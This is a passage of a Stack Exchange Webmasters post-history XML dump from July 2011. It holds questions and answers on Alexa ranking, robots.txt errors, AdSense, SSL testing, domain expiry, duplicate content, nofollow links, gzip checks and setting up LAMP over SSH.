  <row Id="42283" PostHistoryTypeId="6" PostId="17560" RevisionGUID="f58dad4b-6868-441e-87f0-3410f37351ba" CreationDate="2011-07-29T20:41:52.350" UserId="1253" Comment="modified tags" Text="&lt;email&gt;&lt;mailchimp&gt;" />
  <row Id="42284" PostHistoryTypeId="2" PostId="17561" RevisionGUID="13509f71-de78-4093-8bfa-19e3a4a69785" CreationDate="2011-07-29T21:20:50.647" UserId="9276" Text="When I search my site on alexa, it says &quot;Alexa Traffic Rank: No Data&quot;. So I google the issue. I come across this page: http://www.loudable.com/my-website-data-not-showing-in-alexa-get-your-website-crawled-by-alexasolution.html &#xD;&#xA;&#xD;&#xA;It says to get site indexed, click Crawl my site on the webmasters page. However there is no longer a link that says &quot;Crawl my site&quot;. So as of now, does anyone know how to get site indexed by alexa so that my traffic rank will display on alexa index?&#xD;&#xA;&#xD;&#xA;Thanks for response. " />
  <row Id="42285" PostHistoryTypeId="1" PostId="17561" RevisionGUID="13509f71-de78-4093-8bfa-19e3a4a69785" CreationDate="2011-07-29T21:20:50.647" UserId="9276" Text="how to get new site indexed by alexa" />
  <row Id="42286" PostHistoryTypeId="3" PostId="17561" RevisionGUID="13509f71-de78-4093-8bfa-19e3a4a69785" CreationDate="2011-07-29T21:20:50.647" UserId="9276" Text="&lt;traffic&gt;&lt;site-ranking&gt;&lt;alexa&gt;" />
  <row Id="42287" PostHistoryTypeId="25" PostId="17560" RevisionGUID="65b44130-1d32-4c24-a5c1-0c47950f64b5" CreationDate="2011-07-29T21:33:05.777" Comment="http://twitter.com/#!/StackWebmasters/status/97057080200007680" />
  <row Id="42288" PostHistoryTypeId="5" PostId="17528" RevisionGUID="315f7179-b7b2-4e42-b3a1-e014ebd3ce92" CreationDate="2011-07-29T23:33:25.887" UserId="233" Comment="fixed robots.txt link" Text="Possible causes for the 500 error you're seeing:&#xD;&#xA;&#xD;&#xA; 1. Your [robots.txt file](http://wayneye.com/robots.txt) starts with an illegal character. When [validated here](http://tool.motoricerca.info/robots-checker.phtml), the file contains a character that's hidden when viewed as UTF-8 in a text editor such as TextMate, but visible when viewed as ISO-8859-1 (see image below). To fix this, delete the first line, retype it, save the file, and revalidate it.&#xD;&#xA;&#xD;&#xA;  ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Your site may have simply returned a 500 error when Google last crawled it. (i.e. The server was down.) If this is the case, the errors you should not be repeated when Google next crawls your site, assuming it stays up.&#xD;&#xA;&#xD;&#xA;[1]: http://i.stack.imgur.com/7tHH8.png" />
  <row Id="42289" PostHistoryTypeId="25" PostId="17540" RevisionGUID="24a0dc36-873a-47d2-ad4f-4615336fa8e4" CreationDate="2011-07-30T00:33:06.093" Comment="http://twitter.com/#!/StackWebmasters/status/97102378452525056" />
  <row Id="42290" PostHistoryTypeId="5" PostId="17537" RevisionGUID="9f9d3182-4a58-46e8-a26f-fced624b5bc8" CreationDate="2011-07-30T02:03:01.340" UserId="9204" Comment="added url example" Text="I see certain sites like mashable.com etc have a 728x15 ad format below the title. And they look like normal adsense ads (and not link units). However I don't see any such option in the ad formats presented in my google adsense account. &#xD;&#xA;&#xD;&#xA;Do they have special access to those google ad formats or does it work by just changing the leaderboard code and reducing the height from 90 to 15?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;http://mashable.com/2008/12/08/how-to-quiet-the-twitter-noise/&#xD;&#xA;&#xD;&#xA;I'm referring to the ad, just above the author description .. &quot;Jun Loayza is the Co-Founder and CMO....&quot;" />
  <row Id="42291" PostHistoryTypeId="2" PostId="17562" RevisionGUID="e631bedc-71f5-49eb-a9af-0672e6698625" CreationDate="2011-07-30T02:10:48.803" UserId="7726" Text="Version 1 of a web application is on an old Host.&#xD;&#xA;&#xD;&#xA;Version 2 is on a new host, operating on a test domain.&#xD;&#xA;&#xD;&#xA;At launch, we will point the official domain at the new host.&#xD;&#xA;&#xD;&#xA;However, I would like to verify that we have the SSL certificate installed correctly on the new host before pointing the domain at the new host.&#xD;&#xA;&#xD;&#xA;I exported the certificate, but it is my understanding that the SSL certificate only works for the single domain it was issued to, so I'm not sure how to test that we have SSL setup pre-launch.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42292" PostHistoryTypeId="1" PostId="17562" RevisionGUID="e631bedc-71f5-49eb-a9af-0672e6698625" CreationDate="2011-07-30T02:10:48.803" UserId="7726" Text="Host Change - What is a good method for testing SSL before pointing DNS at new host?" />
  <row Id="42293" PostHistoryTypeId="3" PostId="17562" RevisionGUID="e631bedc-71f5-49eb-a9af-0672e6698625" CreationDate="2011-07-30T02:10:48.803" UserId="7726" Text="&lt;ssl&gt;&lt;iis7&gt;" />
  <row Id="42294" PostHistoryTypeId="2" PostId="17563" RevisionGUID="7ee778ec-d977-45d1-a306-9821df82b4d0" CreationDate="2011-07-30T02:47:40.437" UserId="4879" Text="Can you register an expired domain immediately after it expires, or is there a waiting period?&#xD;&#xA;&#xD;&#xA;(I'm sure this can be found on google, but I don't know the proper name for it. :( )" />
  <row Id="42295" PostHistoryTypeId="1" PostId="17563" RevisionGUID="7ee778ec-d977-45d1-a306-9821df82b4d0" CreationDate="2011-07-30T02:47:40.437" UserId="4879" Text="How long after your domain expires do you have to re-register it before someone else can?" />
  <row Id="42296" PostHistoryTypeId="3" PostId="17563" RevisionGUID="7ee778ec-d977-45d1-a306-9821df82b4d0" CreationDate="2011-07-30T02:47:40.437" UserId="4879" Text="&lt;domain-registration&gt;" />
  <row Id="42297" PostHistoryTypeId="2" PostId="17564" RevisionGUID="1c2ac931-9c3d-4677-809e-e9ee9b7e072e" CreationDate="2011-07-30T02:50:03.960" UserId="1253" Text="Install the Alexa spyware, I mean toolbar, and visit your website once a day. &#xD;&#xA;&#xD;&#xA;Alexa is completely useless as a metric of any kind. I wouldn't spend any time worrying about it." />
  <row Id="42298" PostHistoryTypeId="25" PostId="17562" RevisionGUID="8d291d50-740d-484a-b0d9-3f1249bed7f4" CreationDate="2011-07-30T03:33:55.517" Comment="http://twitter.com/#!/StackWebmasters/status/97147887112294400" />
  <row Id="42302" PostHistoryTypeId="2" PostId="17566" RevisionGUID="b95aed26-fe6a-4571-a7fc-25d71e97ce9c" CreationDate="2011-07-30T03:51:28.360" UserId="8557" Text="You can go to [http://www.alexa.com/siteowners/edit][1]. You need to login to Alexa, you can also login with your facebook account. [http://www.alexa.com/siteowners][2] contains more tools for you that may help you to get your website crawled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/siteowners/edit&#xD;&#xA;  [2]: http://www.alexa.com/siteowners" />
  <row Id="42303" PostHistoryTypeId="2" PostId="17567" RevisionGUID="be5c3147-8e77-4e14-b76b-59d5f6020117" CreationDate="2011-07-30T03:57:04.940" UserId="8557" Text="It is a Premium Ad Unit that Google allocates to sites with gigantic traffic. If you have a premium account, then you can [login here][1]. As you do not have a premium adsense account, you might as well try to get a premium account by [reading this guide on google groups][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/premium-login&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/AdSense/thread?tid=572aebca29c4d3cf&amp;hl=en" />
  <row Id="42305" PostHistoryTypeId="25" PostId="17531" RevisionGUID="7afb12bd-a08f-42c0-bffe-6e5afbf210a7" CreationDate="2011-07-30T06:33:55.493" Comment="http://twitter.com/#!/StackWebmasters/status/97193185423540225" />
  <row Id="42306" PostHistoryTypeId="2" PostId="17568" RevisionGUID="7dac47b0-18f0-4f79-9c0f-9aa325428f9e" CreationDate="2011-07-30T07:44:01.513" UserId="8557" Text="It depends on your domain registrar. Generally what they do is provide a 15 day grace period before which you have to renew your domain. If you have not, then the domain registrar will either continue to own the domain (and show ads) or de-register. So it depends on when the registrar de-registers the domain. If it is not de-registered, then that domain can be purchased only from that registrar." />
  <row Id="42307" PostHistoryTypeId="2" PostId="17569" RevisionGUID="47b3fec8-07fd-4bb2-8bd5-66c80e7ca180" CreationDate="2011-07-30T08:38:21.377" UserId="1240" Text="I think you could you set up that domain locally to point to the new IP&#xD;&#xA;&#xD;&#xA;Not sure if it works for https but if you play with your local DNS it should work." />
  <row Id="42308" PostHistoryTypeId="25" PostId="17537" RevisionGUID="de1058ca-ba0f-4147-bc12-e601f5f205e8" CreationDate="2011-07-30T09:33:55.173" Comment="http://twitter.com/#!/StackWebmasters/status/97238482396786688" />
  <row Id="42309" PostHistoryTypeId="2" PostId="17570" RevisionGUID="a47069ef-91f9-4aa9-bfb7-8bda15e8c50b" CreationDate="2011-07-30T09:42:19.257" UserId="8417" Text="I have been tasked with setting up a reasonable size ecommerce site in Abu Dhabi (united arab emerites). It seems PayPal Pro is not available in this region. I was wondering if any one could share some experiences working in e-commerce in this region. Also any good payment gateway providers in this region. " />
  <row Id="42310" PostHistoryTypeId="1" PostId="17570" RevisionGUID="a47069ef-91f9-4aa9-bfb7-8bda15e8c50b" CreationDate="2011-07-30T09:42:19.257" UserId="8417" Text="payment gateway providers in abu dhabi - uae" />
  <row Id="42311" PostHistoryTypeId="3" PostId="17570" RevisionGUID="a47069ef-91f9-4aa9-bfb7-8bda15e8c50b" CreationDate="2011-07-30T09:42:19.257" UserId="8417" Text="&lt;ecommerce&gt;" />
  <row Id="42312" PostHistoryTypeId="2" PostId="17571" RevisionGUID="3bbef0dd-f692-41bf-9498-7205033a76e6" CreationDate="2011-07-30T09:44:21.813" UserId="8557" Text="I am planning to scour various press releases from the web (particularly from science companies) and directly copy the material into my website. According to many of these companies, the press release can be directly used in our websites but you must include a source link at the bottom of the content. I suspect that many webmasters would be doing the same and hence there is a chance for Duplicate content. What do you suggest?" />
  <row Id="42313" PostHistoryTypeId="1" PostId="17571" RevisionGUID="3bbef0dd-f692-41bf-9498-7205033a76e6" CreationDate="2011-07-30T09:44:21.813" UserId="8557" Text="How Citing Sources in Website Content affects Google Rankins" />
  <row Id="42314" PostHistoryTypeId="3" PostId="17571" RevisionGUID="3bbef0dd-f692-41bf-9498-7205033a76e6" CreationDate="2011-07-30T09:44:21.813" UserId="8557" Text="&lt;google&gt;&lt;duplicate-content&gt;" />
  <row Id="42315" PostHistoryTypeId="4" PostId="17571" RevisionGUID="871f7bef-f9cd-4d3b-b05e-34c444f8d7d4" CreationDate="2011-07-30T10:33:43.553" UserId="8557" Comment="corrected title" Text="How Citing Sources in Website Content affects Google Rankings" />
  <row Id="42316" PostHistoryTypeId="2" PostId="17572" RevisionGUID="ca0dafad-a812-4511-bb05-19dca9cbec31" CreationDate="2011-07-30T10:39:53.517" UserId="8687" Text="If you want to check your css file for efficiency then I can recommend using [csslint.net][1]. However, do note, csslint takes things to extremes and you should read their comments on some of the errors/warnings carefully. I wouldn't agree with 100% of what they say.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://csslint.net/index.html" />
  <row Id="42317" PostHistoryTypeId="5" PostId="17280" RevisionGUID="6400203a-cdca-4968-a485-2c0cbbec9599" CreationDate="2011-07-30T11:50:10.733" UserId="8926" Comment="Clarifying, Google Sites apparently lacks the property of sub.domain URL Redircetion. So I need to mask the sub.domain apparently." Text="I got it working:&#xD;&#xA;&#xD;&#xA;www.mysite.com/ ---&gt; when user browse, the url updates appropriately ----&gt; www.mysite.com/working.html&#xD;&#xA;&#xD;&#xA;1. GoDaddy accepted &quot;www&quot; and &quot;ghs.google.com&quot;t but not &quot;music&quot; and &quot;ghs.google.com&quot;. Why? **Solved:** I had to remove a matching A -rocord.&#xD;&#xA;&#xD;&#xA;2. And how can I get the sub domain (hello.mysite.com) working appropriately (not just masking i.e. the url changes when user browses the site)? **Not sure:** one source stated that it is not possible and only masking works with sub.domains, bad. Really?&#xD;&#xA;&#xD;&#xA;So the GoDaddy URL Redirction is working but the problem seems to be in the poor support of Google Sites." />
  <row Id="42318" PostHistoryTypeId="2" PostId="17573" RevisionGUID="717fc776-afd6-4219-b70a-9061deb4bd76" CreationDate="2011-07-30T11:55:24.427" UserId="8926" Text="Google Sites does not apparently support Sub.Domain URL Redirection (only URL Framing), more [here][1]. So I need to do a switch to other provider. Does Google Apps Standard Edition (Free) support the URL Redirection? Or is there some other provider? I cannot make my website with URL Redirection, URL Framing is very very bad.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/17280/cname-for-sub-domain-com-with-google-sites-and-godaddy" />
  <row Id="42319" PostHistoryTypeId="1" PostId="17573" RevisionGUID="717fc776-afd6-4219-b70a-9061deb4bd76" CreationDate="2011-07-30T11:55:24.427" UserId="8926" Text="Similar Service to Google Sites that Support Sub.Domain URL Redirection?" />
  <row Id="42320" PostHistoryTypeId="3" PostId="17573" RevisionGUID="717fc776-afd6-4219-b70a-9061deb4bd76" CreationDate="2011-07-30T11:55:24.427" UserId="8926" Text="&lt;url&gt;&lt;google-apps&gt;" />
  <row Id="42321" PostHistoryTypeId="4" PostId="17573" RevisionGUID="b1da2a25-79b0-477c-b80d-4082ae4939b2" CreationDate="2011-07-30T12:00:37.560" UserId="8926" Comment="edited title" Text="Similar Service to Google Sites but Supporting URL Redirection in Sub.Domains?" />
  <row Id="42322" PostHistoryTypeId="6" PostId="17573" RevisionGUID="b1da2a25-79b0-477c-b80d-4082ae4939b2" CreationDate="2011-07-30T12:00:37.560" UserId="8926" Comment="edited title" Text="&lt;url&gt;&lt;google-apps&gt;&lt;google-sites&gt;" />
  <row Id="42323" PostHistoryTypeId="5" PostId="17573" RevisionGUID="b1da2a25-79b0-477c-b80d-4082ae4939b2" CreationDate="2011-07-30T12:00:37.560" UserId="8926" Comment="edited title" Text="Google Sites does not apparently support Sub.Domain URL Redirection (only URL Framing), more [here][1]. So I need to do a switch to other provider. Does Google Apps Standard Edition (Free) support the URL Redirection? Or is there some other provider? I cannot make my website without URL Redirection for Sub.Domains, URL Framing is very very bad.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/17280/cname-for-sub-domain-com-with-google-sites-and-godaddy" />
  <row Id="42324" PostHistoryTypeId="4" PostId="17570" RevisionGUID="ab87ef9e-03fe-4ff7-aeff-7102ee99a704" CreationDate="2011-07-30T12:04:46.983" UserId="1253" Comment="modified tags, minor text edits" Text="Payment gateway providers in Abu Dhabi - UAE" />
  <row Id="42325" PostHistoryTypeId="6" PostId="17570" RevisionGUID="ab87ef9e-03fe-4ff7-aeff-7102ee99a704" CreationDate="2011-07-30T12:04:46.983" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;ecommerce&gt;&lt;payment-gateway&gt;" />
  <row Id="42326" PostHistoryTypeId="2" PostId="17574" RevisionGUID="384ba9f5-c6ea-4d66-bf52-b2711ac4fc9c" CreationDate="2011-07-30T12:09:37.173" UserId="1253" Text="Your options will be limited due to the high amount of fraud that occurs in that region. [Worldpay][1] seems to be the only provider of note that offers payment services in that region.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.worldpay.com" />
  <row Id="42327" PostHistoryTypeId="2" PostId="17575" RevisionGUID="4c021534-efff-4f2b-bdf1-11ffa6fa63b4" CreationDate="2011-07-30T12:12:22.233" UserId="1253" Text="This will be duplicate content for sure, with or without the link, and filtered out by Google so the value of these links are irrelevant. If you're going to do this I would block all of the press releases you post from Google so your site doesn't look like it contains a lot of duplicate content and risks being flagged by the Panda algorithm." />
  <row Id="42328" PostHistoryTypeId="25" PostId="17571" RevisionGUID="7d287cff-7450-49f0-b989-fb459ccd906e" CreationDate="2011-07-30T12:33:55.503" Comment="http://twitter.com/#!/StackWebmasters/status/97283781613977600" />
  <row Id="42329" PostHistoryTypeId="2" PostId="17576" RevisionGUID="839fdc51-4b27-4d93-8bdb-1ed1e434d899" CreationDate="2011-07-30T12:45:49.163" UserId="8687" Text="The SEO effect of the link could be negated to some extent using rel=&quot;nofollow&quot; (arguable). The best way to use the press release content is to give it a cursory rewrite. Keeping the same paragraph structure, topic order and facts but putting the text into your own wording. This will show as new content to google and thus gain your some influence. The extra effort involved in doing this is worthwhile." />
  <row Id="42330" PostHistoryTypeId="2" PostId="17577" RevisionGUID="b40a92b5-aacd-4264-893c-541013cf388a" CreationDate="2011-07-30T13:53:05.090" UserId="1240" Text="Can anyone help me figure this.&#xD;&#xA;&#xD;&#xA;If I use [this compression test][1] it tells me my site uses gzip.  But when I run the yslow Firefox plugin it tells me my site does not use gzip.&#xD;&#xA;&#xD;&#xA;Has anyone came across this before? Is there a more conclusive test I could do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatsmyip.org/http_compression/" />
  <row Id="42331" PostHistoryTypeId="1" PostId="17577" RevisionGUID="b40a92b5-aacd-4264-893c-541013cf388a" CreationDate="2011-07-30T13:53:05.090" UserId="1240" Text="One gzip test returns positive, one returns negative." />
  <row Id="42332" PostHistoryTypeId="3" PostId="17577" RevisionGUID="b40a92b5-aacd-4264-893c-541013cf388a" CreationDate="2011-07-30T13:53:05.090" UserId="1240" Text="&lt;firefox&gt;&lt;optimization&gt;&lt;gzip&gt;" />
  <row Id="42333" PostHistoryTypeId="17" PostId="17578" RevisionGUID="0460cf1e-d5f7-4c56-8a89-d353029bb956" CreationDate="2011-07-30T14:05:30.530" UserId="-1" Comment="from http://stackoverflow.com/questions/6883106/about-rel-nofollow-inside-links" Text="" />
  <row Id="42334" PostHistoryTypeId="17" PostId="17579" RevisionGUID="bd2647bd-8aa9-4699-81dd-fd2c9ba9432b" CreationDate="2011-07-30T14:05:30.530" UserId="-1" Comment="from http://stackoverflow.com/questions/6883106/about-rel-nofollow-inside-links" Text="" />
  <row Id="42335" PostHistoryTypeId="2" PostId="17579" RevisionGUID="13ba94e3-3186-4561-a0d6-b61600f5ccec" CreationDate="2011-07-30T12:33:50.457" UserDisplayName="Alexander Tobias Heinrich" Text="short answer: yes it can lower the rank of your site if google thinks the sites you link to are linkfarms or the like..." />
  <row Id="42336" PostHistoryTypeId="2" PostId="17580" RevisionGUID="d4a9e418-f5c0-4487-8cfb-837c9c89cd05" CreationDate="2011-07-30T12:34:42.743" UserDisplayName="aroth" Text="You can read a bit of the background history of `nofollow` here:  &#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Nofollow&#xD;&#xA;&#xD;&#xA;Basically the intent is to reduce the incentive to spam links to your site on other people's blogs/comment sections.  If the hosting site marks every link in a comment as `nofollow`, then the spamming site doesn't get any additional ranking from the spammed links.  And that helps remove the incentive to spam the links in the first place.&#xD;&#xA;&#xD;&#xA;If you operate the hosting site and you *don't* use `nofollow` on comment links and someone links to a questionable site, then it's hard to say if your ranking can be negatively affected.  It would be up to the search engine's ranking algorithm to decide, really.  But as far as I know, at least Google will penalize you for linking to low-quality (as in, link-farms and the like) sites." />
  <row Id="42337" PostHistoryTypeId="2" PostId="17578" RevisionGUID="d4d985aa-9f42-4e6c-9f7e-89791eaa9bf2" CreationDate="2011-07-30T12:28:45.397" UserDisplayName="Kristen" Text="I'm curious about this since many website use `rel=&quot;nofollow&quot;` and I don't know why.&#xD;&#xA;&#xD;&#xA;If you have a site that's ranked very good in Google, and you don't add rel=&quot;nofollow&quot; to links inside article comments, how does that affect your rank?&#xD;&#xA;&#xD;&#xA;What if someone posts a comment with a link to a viagra website? Does that lower the rank of your site?" />
  <row Id="42338" PostHistoryTypeId="1" PostId="17578" RevisionGUID="d4d985aa-9f42-4e6c-9f7e-89791eaa9bf2" CreationDate="2011-07-30T12:28:45.397" UserDisplayName="Kristen" Text="About rel=&quot;nofollow&quot; inside links" />
  <row Id="42339" PostHistoryTypeId="3" PostId="17578" RevisionGUID="d4d985aa-9f42-4e6c-9f7e-89791eaa9bf2" CreationDate="2011-07-30T12:28:45.397" UserDisplayName="Kristen" Text="&lt;mysql&gt;&lt;google&gt;&lt;nofollow&gt;" />
  <row Id="42340" PostHistoryTypeId="17" PostId="17580" RevisionGUID="7ff3c66b-af0e-47d9-98da-4584d7e2b042" CreationDate="2011-07-30T14:05:30.530" UserId="-1" Comment="from http://stackoverflow.com/questions/6883106/about-rel-nofollow-inside-links" Text="" />
  <row Id="42341" PostHistoryTypeId="6" PostId="17578" RevisionGUID="cf24cc25-cc9f-4d76-beb2-91b752fbac17" CreationDate="2011-07-30T14:09:45.850" UserId="1253" Comment="modified tags" Text="&lt;google&gt;&lt;nofollow&gt;" />
  <row Id="42342" PostHistoryTypeId="2" PostId="17581" RevisionGUID="978b77fb-3e92-46f1-980e-8ba4fb19684d" CreationDate="2011-07-30T14:31:47.143" UserId="9269" Text="There is public DNS and private DNS provided by Amazon EC2?&#xD;&#xA;&#xD;&#xA;How do I use them both?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42343" PostHistoryTypeId="1" PostId="17581" RevisionGUID="978b77fb-3e92-46f1-980e-8ba4fb19684d" CreationDate="2011-07-30T14:31:47.143" UserId="9269" Text="How do we use the Public DNS and Private DNS in Amazon EC2?" />
  <row Id="42344" PostHistoryTypeId="3" PostId="17581" RevisionGUID="978b77fb-3e92-46f1-980e-8ba4fb19684d" CreationDate="2011-07-30T14:31:47.143" UserId="9269" Text="&lt;dns&gt;&lt;amazon&gt;" />
  <row Id="42345" PostHistoryTypeId="6" PostId="17581" RevisionGUID="1d3b1e01-77db-474c-917b-ebaee038153a" CreationDate="2011-07-30T14:36:39.217" UserId="1253" Comment="modified tags" Text="&lt;dns&gt;&lt;amazon&gt;&lt;amazon-ec2&gt;" />
  <row Id="42346" PostHistoryTypeId="2" PostId="17582" RevisionGUID="d5e9ac7e-ade4-46e0-b718-58ab15286b16" CreationDate="2011-07-30T14:45:17.717" UserId="233" Text="Are you definitely testing the same URLs? If you are inputting your domain into one testing tool, then that checks if the home page on your site (ie the HTML) is sent gzipped.&#xD;&#xA;&#xD;&#xA;But if you open the page in Firefox and run Yslow it will check all linked files as well. Your HTML pages may be gzipped (probably as a result of a CMS) but CSS and JavaScript may not be compressed.&#xD;&#xA;&#xD;&#xA;Make sure to check in each tool exactly which URLs it says are not gzipped." />
  <row Id="42347" PostHistoryTypeId="5" PostId="17577" RevisionGUID="3218d4ee-7034-4dd4-9781-8c802d652255" CreationDate="2011-07-30T14:46:56.780" UserId="1240" Comment="added 204 characters in body" Text="Can anyone help me figure this.&#xD;&#xA;&#xD;&#xA;If I use [this compression test][1] it tells me my site uses gzip.  But when I run the yslow Firefox plugin it tells me my site does not use gzip.&#xD;&#xA;&#xD;&#xA;Has anyone came across this before? Is there a more conclusive test I could do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatsmyip.org/http_compression/&#xD;&#xA;&#xD;&#xA;**Addition**&#xD;&#xA;&#xD;&#xA;The site in question is http://www.thefootytipster.com, if you copy and paste that into the first link it will say compression is enabled.  But if you try it against ySlow it will not." />
  <row Id="42348" PostHistoryTypeId="25" PostId="17578" RevisionGUID="d007e769-eeb3-4518-9402-0f3dd138611b" CreationDate="2011-07-30T15:33:55.620" Comment="http://twitter.com/#!/StackWebmasters/status/97329080466288640" />
  <row Id="42349" PostHistoryTypeId="2" PostId="17583" RevisionGUID="08aa54ea-e5f2-49ee-8ac7-f32983000536" CreationDate="2011-07-30T15:46:30.067" UserId="6155" Text="After setting up a blog at blogspot.com I added the site to my webmasters tools of google. &#xD;&#xA;&#xD;&#xA;I noticed an error: &quot;Restricted by robots.txt&quot; and looked a little into the matter. I found in the robots.txt of blogspot that Google prevents the /search directory by default in order to avoid duplicate entries in their search engine. As tags can be found under /search/label/SOME_TAG, these are not indexed too.&#xD;&#xA;&#xD;&#xA;I run different sites, especially one is an important e-commerce site for me. For each product, we use tags. Each tags leads to a separate site like /tags/tag1/ and lists all products that are linked to this tag. &#xD;&#xA;&#xD;&#xA;And this leads me to my question:&#xD;&#xA;**Should I also block search and/or tag pages on my sites by using robots.txt?**&#xD;&#xA;&#xD;&#xA;I feel google might punish my pagerank/results for using this &quot;low-quality&quot; content. However I think they are quite useful. We provide a short description of each tag and how the listed products can be used for the problem the tag describes.&#xD;&#xA;&#xD;&#xA;Moreover users landing on tags-pages have very high bounce rates (&gt;90%), which is far above the average bounce rate.&#xD;&#xA;&#xD;&#xA;So, what is the best practice?&#xD;&#xA;&#xD;&#xA;Thanks for your help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42350" PostHistoryTypeId="1" PostId="17583" RevisionGUID="08aa54ea-e5f2-49ee-8ac7-f32983000536" CreationDate="2011-07-30T15:46:30.067" UserId="6155" Text="SEO: Search and Tags for robots.txt" />
  <row Id="42351" PostHistoryTypeId="3" PostId="17583" RevisionGUID="08aa54ea-e5f2-49ee-8ac7-f32983000536" CreationDate="2011-07-30T15:46:30.067" UserId="6155" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;&lt;robots.txt&gt;" />
  <row Id="42352" PostHistoryTypeId="2" PostId="17584" RevisionGUID="2242784d-5626-453b-96ef-fadb1d551dbe" CreationDate="2011-07-30T16:25:57.077" UserId="233" Text="[Bing Webmaster Tools](http://www.bing.com/toolbox/webmaster/) has a feature called &quot;Index Explorer&quot; which does exactly what you ask and lists every page they have indexed.&#xD;&#xA;&#xD;&#xA;There is no equivalent in Google as far as I know. Using the `site:` operator is a poor substitute because it is very unreliable and inaccurate. You could try the &quot;Internal links&quot; section in Google Webmaster Tools, as it should list every page linked to that Google has indexed." />
  <row Id="42353" PostHistoryTypeId="5" PostId="4196" RevisionGUID="01a6393a-afa4-4385-9d84-f54ac1f10aef" CreationDate="2011-07-30T16:43:04.517" UserId="2621" Comment="fixed link" Text="&gt;Page title&#xD;&#xA;&#xD;&#xA;&gt;![Page title][1]&#xD;&#xA;&#xD;&#xA;&gt;The first line of any search result is the title of the web page. This text is generally taken from the contents of the &lt;title&gt; tag for that page (which is also the text that appears in the title bar of your browser. Occasionally (generally when the title tag is not meaningful or the page is not crawlable) Google will pull the title from the anchor text of a link to that page, or from the Open Directory Project (www.dmoz.org).&#xD;&#xA;&#xD;&#xA;Read the rest here http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35624&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/CSSzG.jpg" />
  <row Id="42354" PostHistoryTypeId="2" PostId="17585" RevisionGUID="ef555280-7a4a-4c7a-beec-564fb56e003e" CreationDate="2011-07-30T17:12:52.213" UserId="1692" Text="I am a PHP coder and have next to none experience in system administration. One of my clients has obtained a VPS from HostGator. The logins I was sent, take me to Parallels Infrastructure Manager, where I presumably, can start and stop *containers*. I guess a container in this context is a virtual server. Anyway, I looked for and couldn't find a cPanel, Plesk or anything familiar. I contacted support and asked how could I get a LAMP envo working on this account. They said as the account is not Level 3, I need to do everything through SSH. &#xD;&#xA;&#xD;&#xA;I verified that Apache is running. But don't know where I should look for the document root. With that I would be able to check if I have PHP and MySQL running or not. If they're not, I don't know what should I do next. Your advice is appreciated.&#xD;&#xA;&#xD;&#xA;P.S. The OS is CentOS." />
  <row Id="42355" PostHistoryTypeId="1" PostId="17585" RevisionGUID="ef555280-7a4a-4c7a-beec-564fb56e003e" CreationDate="2011-07-30T17:12:52.213" UserId="1692" Text="Verify / setup LAMP via SSH" />
  <row Id="42356" PostHistoryTypeId="3" PostId="17585" RevisionGUID="ef555280-7a4a-4c7a-beec-564fb56e003e" CreationDate="2011-07-30T17:12:52.213" UserId="1692" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;lamp&gt;" />
  <row Id="42357" PostHistoryTypeId="2" PostId="17586" RevisionGUID="f1aeff65-c203-4968-993b-6925499a8c87" CreationDate="2011-07-30T17:34:03.363" UserId="2483" Text="You should be able to find the `DocumentRoot` by looking in the `/etc/httpd/conf/httpd.conf` file. It would normally be `/var/www/html`.&#xD;&#xA;&#xD;&#xA;You could check for php by running the command&#xD;&#xA;&#xD;&#xA;    rpm -qa | grep php&#xD;&#xA;&#xD;&#xA;    php-common-5.1.6-27.el5_5.3&#xD;&#xA;    php-5.1.6-27.el5_5.3&#xD;&#xA;    php-gd-5.1.6-27.el5_5.3&#xD;&#xA;    php-cli-5.1.6-27.el5_5.3&#xD;&#xA;&#xD;&#xA;which will tell you what php packages are on your system&#xD;&#xA;&#xD;&#xA;Similarly &#xD;&#xA;&#xD;&#xA;    rpm -qa | grep mysql &#xD;&#xA;&#xD;&#xA;    mysql-5.0.77-4.el5_6.6&#xD;&#xA;    mysql-server-5.0.77-4.el5_6.6&#xD;&#xA;    mysql-devel-5.0.77-4.el5_6.6&#xD;&#xA;&#xD;&#xA;Tells you what mysql packages are installed.&#xD;&#xA;&#xD;&#xA;    /sbin/service mysqld status&#xD;&#xA;&#xD;&#xA;will tell you if the mysql daemon is running or not.&#xD;&#xA;&#xD;&#xA;    sudo /sbin/service mysqld start&#xD;&#xA;&#xD;&#xA;will start it. " />
  <row Id="42358" PostHistoryTypeId="5" PostId="17585" RevisionGUID="1efc417e-01d2-4e64-acae-f466022bbbd8" CreationDate="2011-07-30T17:37:29.023" UserId="1692" Comment="added 248 characters in body" Text="I am a PHP coder and have next to none experience in system administration. One of my clients has obtained a VPS from HostGator. The logins I was sent, take me to Parallels Infrastructure Manager, where I presumably, can start and stop *containers*. I guess a container in this context is a virtual server. Anyway, I looked for and couldn't find a cPanel, Plesk or anything familiar. I contacted support and asked how could I get a LAMP envo working on this account. They said as the account is not Level 3, I need to do everything through SSH. &#xD;&#xA;&#xD;&#xA;I verified that Apache is running. But don't know where I should look for the document root. With that I would be able to check if I have PHP and MySQL running or not. If they're not, I don't know what should I do next. Your advice is appreciated.&#xD;&#xA;&#xD;&#xA;P.S. The OS is CentOS.&#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;Ok, I found the document root which is `/var/www/html` as 